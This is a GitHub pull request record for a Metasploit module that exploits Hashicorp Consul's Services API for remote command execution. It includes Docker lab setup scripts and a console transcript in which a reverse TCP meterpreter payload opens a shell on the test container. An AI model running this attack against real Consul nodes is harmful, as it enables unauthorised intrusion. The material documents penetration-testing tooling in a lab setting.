{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10443","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10443/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10443/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10443/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/10443","id":349725238,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA3NzY5NDI2","number":10443,"title":"Consul service RCE","user":{"login":"QKaiser","id":569494,"node_id":"MDQ6VXNlcjU2OTQ5NA==","avatar_url":"https://avatars1.githubusercontent.com/u/569494?v=4","gravatar_id":"","url":"https://api.github.com/users/QKaiser","html_url":"https://github.com/QKaiser","followers_url":"https://api.github.com/users/QKaiser/followers","following_url":"https://api.github.com/users/QKaiser/following{/other_user}","gists_url":"https://api.github.com/users/QKaiser/gists{/gist_id}","starred_url":"https://api.github.com/users/QKaiser/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/QKaiser/subscriptions","organizations_url":"https://api.github.com/users/QKaiser/orgs","repos_url":"https://api.github.com/users/QKaiser/repos","events_url":"https://api.github.com/users/QKaiser/events{/privacy}","received_events_url":"https://api.github.com/users/QKaiser/received_events","type":"User","site_admin":false},"labels":[{"id":103436215,"node_id":"MDU6TGFiZWwxMDM0MzYyMTU=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":103436014,"node_id":"MDU6TGFiZWwxMDM0MzYwMTQ=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"state":"open","locked":false,"assignee":{"login":"space-r7","id":40177151,"node_id":"MDQ6VXNlcjQwMTc3MTUx","avatar_url":"https://avatars2.githubusercontent.com/u/40177151?v=4","gravatar_id":"","url":"https://api.github.com/users/space-r7","html_url":"https://github.com/space-r7","followers_url":"https://api.github.com/users/space-r7/followers","following_url":"https://api.github.com/users/space-r7/following{/other_user}","gists_url":"https://api.github.com/users/space-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/space-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/space-r7/subscriptions","organizations_url":"https://api.github.com/users/space-r7/orgs","repos_url":"https://api.github.com/users/space-r7/repos","events_url":"https://api.github.com/users/space-r7/events{/privacy}","received_events_url":"https://api.github.com/users/space-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"space-r7","id":40177151,"node_id":"MDQ6VXNlcjQwMTc3MTUx","avatar_url":"https://avatars2.githubusercontent.com/u/40177151?v=4","gravatar_id":"","url":"https://api.github.com/users/space-r7","html_url":"https://github.com/space-r7","followers_url":"https://api.github.com/users/space-r7/followers","following_url":"https://api.github.com/users/space-r7/following{/other_user}","gists_url":"https://api.github.com/users/space-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/space-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/space-r7/subscriptions","organizations_url":"https://api.github.com/users/space-r7/orgs","repos_url":"https://api.github.com/users/space-r7/repos","events_url":"https://api.github.com/users/space-r7/events{/privacy}","received_events_url":"https://api.github.com/users/space-r7/received_events","type":"User","site_admin":false}],"milestone":null,"comments":1,"created_at":"2018-08-11T10:46:22Z","updated_at":"2018-12-20T09:56:40Z","closed_at":null,"author_association":"CONTRIBUTOR","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10443","html_url":"https://github.com/rapid7/metasploit-framework/pull/10443","diff_url":"https://github.com/rapid7/metasploit-framework/pull/10443.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/10443.patch"},"body":"## Consul Service RCE\r\n\r\n### Description\r\n\r\nThis module exploits Hashicorp Consul's Services API to gain remote command execution on a Consul node.\r\n\r\nThe exposure of the Services API depends on the `enable_script_checks` option. This option is opt-in for Consul nodes operators.\r\n\r\n#### References\r\n\r\n* Consul Services API - https://www.consul.io/api/agent/service.html\r\n* Inspiration from Garfield PoC - https://github.com/torque59/Garfield\r\n\r\n### Test setup\r\n\r\nThe following bash script can be used to setup a testing environment with Docker:\r\n\r\n```\r\n#!/bin/sh\r\n\r\necho \"[+] Launching consul instances...\"\r\ndocker run -d --name=consul_bootstrap_server consul agent -server -client=172.17.0.1 -bootstrap -data-dir /tmp/consul\r\nsleep 2\r\n\r\ndocker run -d --name=consul_server_1 consul agent -server -client=172.17.0.2 -data-dir /tmp/consul\r\nsleep 2\r\ndocker exec -t consul_bootstrap_server consul join -http-addr=\"172.17.0.1:8500\" 172.17.0.2\r\n\r\ndocker run -d --name=consul_server_2 consul agent -server -client=172.17.0.3 -data-dir /tmp/consul\r\nsleep 2\r\ndocker exec -t consul_bootstrap_server consul join -http-addr=\"172.17.0.1:8500\" 172.17.0.3\r\n\r\ndocker run -d -e 'CONSUL_LOCAL_CONFIG={\"leave_on_terminate\": true, \"enable_script_checks\":true}' consul agent -ui -client=172.17.0.4 -retry-join=172.17.0.1\r\n\r\nsleep 4\r\necho \"[+] Checking members...\"\r\ndocker exec -t consul_bootstrap_server consul members -http-addr=\"172.17.0.1:8500\"\r\n```\r\n\r\nYou should observe something similar to the excerpt below when running the script:\r\n\r\n```\r\nsudo ./launch.sh\r\n[+] Launching consul instances...\r\n3ca869f66e7dda89f7e239a8d2ae6e477af699a20c90f2d1e2043dc90bdfa78c\r\nfa16999754063a23687809c9dbdbabb5e8d45a54652e6e2023c67fd933d83826\r\nSuccessfully joined cluster by contacting 1 nodes.\r\necc11744530e63e8d9cb349e98811e2b88d67dd09a81f7a7e8fee129b72d17cf\r\nSuccessfully joined cluster by contacting 1 nodes.\r\n949d81b0c47b004d456b1db8c5452bbebe08fe99127f0bc365d417a56fada540\r\n[+] Checking members...\r\nNode          Address          Status  Type    Build  Protocol  DC   Segment\r\n3ca869f66e7d  172.17.0.1:8301  alive   server  1.0.6  2         dc1  <all>\r\necc11744530e  172.17.0.3:8301  alive   server  1.0.6  2         dc1  <all>\r\nfa1699975406  172.17.0.2:8301  alive   server  1.0.6  2         dc1  <all>\r\n949d81b0c47b  172.17.0.4:8301  alive   client  1.0.6  2         dc1  <default>\r\n```\r\n\r\nThe following bash script can be used to stop and destroy **all your running docker containers** (so be careful if you use docker containers for other things at the same time):\r\n\r\n```\r\n#!/bin/sh\r\nfor h in `sudo docker ps | grep -v CONTAINER | cut -d' ' -f1`; do sudo docker stop $h && sudo docker rm $h; done\r\n```\r\n\r\n## Verification Steps\r\n\r\nYou can verify the module against the vulnerable application with those steps:\r\n\r\n  1. Launch a Consul cluster with the provided bash script\r\n  2. Start msfconsole\r\n  3. Do: `use exploit/multi/misc/consul_service_exec`\r\n  4. Do: `set RHOST 172.17.0.4`\r\n  5. Do: `set RPORT 8500`\r\n  6. Do: `check`. The target should appear vulnerable.\r\n  7. Do: `set payload` with the payload of your choosing.\r\n  8. Do: `set LHOST 172.17.42.1` (docker0 gateway IP)\r\n  9. Do: `run`\r\n  10. You should get a shell.\r\n\r\n## Scenarios\r\n\r\n### Reverse shell on Linux host\r\n\r\nExploit running against a Docker [consul](https://hub.docker.com/_/consul/) container target:\r\n\r\n```\r\nmsf5 > use exploit/multi/misc/consul_service_exec\r\nmsf5 exploit(multi/misc/consul_service_exec) > set RHOSTS 172.17.0.4\r\nRHOSTS => 172.17.0.4\r\nmsf5 exploit(multi/misc/consul_service_exec) > set payload linux/x86/meterpreter/reverse_tcp\r\npayload => linux/x86/meterpreter/reverse_tcp\r\nmsf5 exploit(multi/misc/consul_service_exec) > set LHOST 172.17.42.1\r\nLHOST => 172.17.42.1\r\nmsf5 exploit(multi/misc/consul_service_exec) > check\r\n[+] 172.17.0.4:8500 The target is vulnerable.\r\nmsf5 exploit(multi/misc/consul_rexec_exec) > run\r\n\r\n[*] Started reverse TCP handler on 172.17.42.1:4444\r\n[*] Creating service 'BBBDX'\r\n[*] Service 'BBBDX' successfully created.\r\n[*] Waiting for service 'BBBDX' script to trigger\r\n[*] Sending stage (861480 bytes) to 172.17.0.4\r\n[*] Removing service 'BBBDX'\r\n[*] Command Stager progress - 115.73% done (883/763 bytes)\r\n\r\nmeterpreter > sysinfo\r\nComputer     : 172.17.0.4\r\nOS           :  (Linux 4.4.0-38-generic)\r\nArchitecture : x64\r\nBuildTuple   : i486-linux-musl\r\nMeterpreter  : x86/linux\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n[*] 172.17.0.4 - Meterpreter session 1 closed.  Reason: User exit\r\n```"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/448939832","html_url":"https://github.com/rapid7/metasploit-framework/pull/10443#issuecomment-448939832","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10443","id":448939832,"node_id":"MDEyOklzc3VlQ29tbWVudDQ0ODkzOTgzMg==","user":{"login":"QKaiser","id":569494,"node_id":"MDQ6VXNlcjU2OTQ5NA==","avatar_url":"https://avatars1.githubusercontent.com/u/569494?v=4","gravatar_id":"","url":"https://api.github.com/users/QKaiser","html_url":"https://github.com/QKaiser","followers_url":"https://api.github.com/users/QKaiser/followers","following_url":"https://api.github.com/users/QKaiser/following{/other_user}","gists_url":"https://api.github.com/users/QKaiser/gists{/gist_id}","starred_url":"https://api.github.com/users/QKaiser/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/QKaiser/subscriptions","organizations_url":"https://api.github.com/users/QKaiser/orgs","repos_url":"https://api.github.com/users/QKaiser/repos","events_url":"https://api.github.com/users/QKaiser/events{/privacy}","received_events_url":"https://api.github.com/users/QKaiser/received_events","type":"User","site_admin":false},"created_at":"2018-12-20T09:56:40Z","updated_at":"2018-12-20T09:56:40Z","author_association":"CONTRIBUTOR","body":"> Was there any kind of preliminary setup done (aside from installing Docker) to get all of the containers up with your script? I get this output specifically for the bootstrap container.\r\n> \r\n> ```\r\n> * listen udp 172.17.0.1:8600: bind: cannot assign requested address\r\n> * listen tcp 172.17.0.1:8600: bind: cannot assign requested address\r\n> ```\r\n\r\nMy bad. I was assuming two facts: that no other containers were running at the same time and that you would have the same docker bridge subnet.\r\n\r\nHere is an updated version of the script that will get the bootstrap server's IP dynamically:\r\n\r\n```\r\n#!/bin/sh\r\n\r\necho \"[+] Launching consul instances...\"\r\nBOOTSTRAP_ID=`docker run -p8301:8301 -d --name=consul_bootstrap_server consul:1.0.7 agent -server -client=0.0.0.0 -bootstrap -data-dir /tmp/consul`\r\nsleep 2\r\nBOOTSTRAP_IP=`docker inspect --format '{{ .NetworkSettings.IPAddress }}' $BOOTSTRAP_ID`\r\ndocker run -d --name=consul_client_1 -e 'CONSUL_LOCAL_CONFIG={\"leave_on_terminate\": true, \"enable_script_checks\":true, \"disable_remote_exec\":false}' consul:1.0.7 agent -ui -client=0.0.0.0 -retry-join=$BOOTSTRAP_IP\r\necho \"[+] Checking members...\"\r\ndocker exec -t consul_bootstrap_server consul members -http-addr=\"$BOOTSTRAP_IP:8500\"\r\n```\r\n\r\nWhen you run it you'll see something similar to this:\r\n\r\n```\r\n./msf.sh \r\n[+] Launching consul instances...\r\n138b09eff12867fcc436b8f5d6366c5aebf3be54864789a675e133a865d436bf\r\n[+] Checking members...\r\nNode          Address          Status  Type    Build  Protocol  DC   Segment\r\n36e14072dec5  172.17.0.1:8301  alive   server  1.0.7  2         dc1  <all>\r\n138b09eff128  172.17.0.2:8301  alive   client  1.0.7  2         dc1  <default>\r\n```\r\n\r\nThe second IP address is the one you should set as `RHOST` when testing the script. \r\n\r\nOn a side note, I discovered that breaking changes have been inserted in Consul API starting from version 1.1.0 (see https://github.com/hashicorp/consul/issues/4321 or https://github.com/gliderlabs/registrator/issues/637). I'm currently looking into it to make the module work for any version so please do not merge yet :)"}}
{"actor":{"display_login":"QKaiser"}}